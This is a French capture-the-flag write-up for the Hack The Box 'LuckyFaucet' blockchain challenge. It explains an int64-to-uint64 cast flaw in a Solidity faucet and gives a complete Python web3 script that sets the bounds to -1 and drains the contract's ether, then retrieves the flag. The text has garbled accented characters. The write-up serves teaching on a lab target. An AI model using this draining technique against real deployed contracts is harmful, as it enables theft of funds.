Catégorie: Blockchain
Difficulté: easy
Flag: HTB{1_f0rg0r_s0m3_U}
Challenge
Description
The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.
Ce challenge tourne sur un docker, disponible sur
Analyse du code
Le contrat LuckyFaucet créé possĂšde 500 ether au dĂ©part. Lâobjectif et de lui en faire perdre au moins 10
Setup.sol
Copier function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
Pour cela, on peut utiliser la fonction sendRandomETH
qui permet dâenvoyer Ă celui qui lâappel une somme entre 50 000 000 et 100 000 000 wei, ce qui fait maximum 0,0000000001 ETH
Autant dire quâil va falloir appeler une tonne de fois cette fonction.
LuckyFaucet.sol
Copier function sendRandomETH() public returns (bool, uint64) {
// Choix d'un aléatoire
int256 randomInt = int256(blockhash(block.number - 1));
// Place cet aléatoire entre les bornes lowerBound et upperBound
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
// Envoi de la somme
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
Seullement nous pouvons redéfinir les bornes lowerBound
et upperBound
avec la fonction setBounds
Par contre, ces valeurs ne peuvent dépasser 100 000 000 de wei
Copier int64 public upperBound;
int64 public lowerBound;
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
La vulnérabilité réside dans le fait que lowerBound
et upperBound
sont dĂ©finis en tant quâint64
alors que la somme envoyée est un uint64
Autrement dit, si le nombre casté en uint64
est nĂ©gatif, alors il se transformera en position. Câest ce quâon appelle une vulnĂ©rabilitĂ© Underflow .
En choisissant des bornes -[-1, -1]
le nombre aléatoire, qui est replacé entre les bornes, deviendra forcément -1
. Ainsi lors du cast en uint64
ce -1
se transformera en 18 446 744 073 709 551 615
La somme envoyĂ©e sera alors dâenviron 18 ETH, soit suffisamment pour remplir la condition de isSolved
Script de résolution
Copier from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote
VERSION = '0.7.6'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)
class Web3Client:
def __init__(self, host, port):
# Récupération des adresses des contrats
base = f"{host}:{port}"
self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
self.info = requests.get(f"http://{base}/connection_info").json()
self.contracts = {
'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
'lucky_faucet': self.get_contract('LuckyFaucet.sol', self.info['TargetAddress']),
}
def get_contract(self, filename: str, address: str):
compiled_sol = solcx.compile_files([filename])
key = filename + ':' + filename.split('.')[0]
interface = compiled_sol[key]
return self.w3.eth.contract(address=address, abi=interface['abi'])
# Attends la fin d'une transaction
def wait(self, transaction_hash):
return self.w3.eth.wait_for_transaction_receipt(transaction_hash)
def solve(host, port_rpc, port_soc):
# Connexion via RPC Ă la blockchain
rpc_client = Web3Client(host, port_rpc)
# Le contrat Ă exploiter
lucky_faucet = rpc_client.contracts['lucky_faucet']
# Redéfinition des bornes à [-1, -1]
rpc_client.wait(lucky_faucet.functions.setBounds(-1, -1).transact())
while True:
# Récupération du nombre d'ETH actuel dans le contrat
balance = rpc_client.w3.eth.get_balance(lucky_faucet.address)
print(f"đ° Balance: {balance}")
# Si le contrat à perdu au moins 10 ETH, alors c'est terminé
if balance < rpc_client.w3.to_wei(490, 'ether'):
break
# Appel de la fonction pour envoyer une somme "aléatoire"
rpc_client.wait(lucky_faucet.functions.sendRandomETH().transact())
# Connexion via socket au serveur raw
soc_client = remote(host, port_soc)
soc_client.sendlineafter(b'action? ', b'3')
# Récupération du flag
flag = soc_client.recvall(timeout=1).decode().strip()
print(f"Flag: {flag}")
if __name__ == '__main__':
solve('94.237.62.195', 38217, 41842)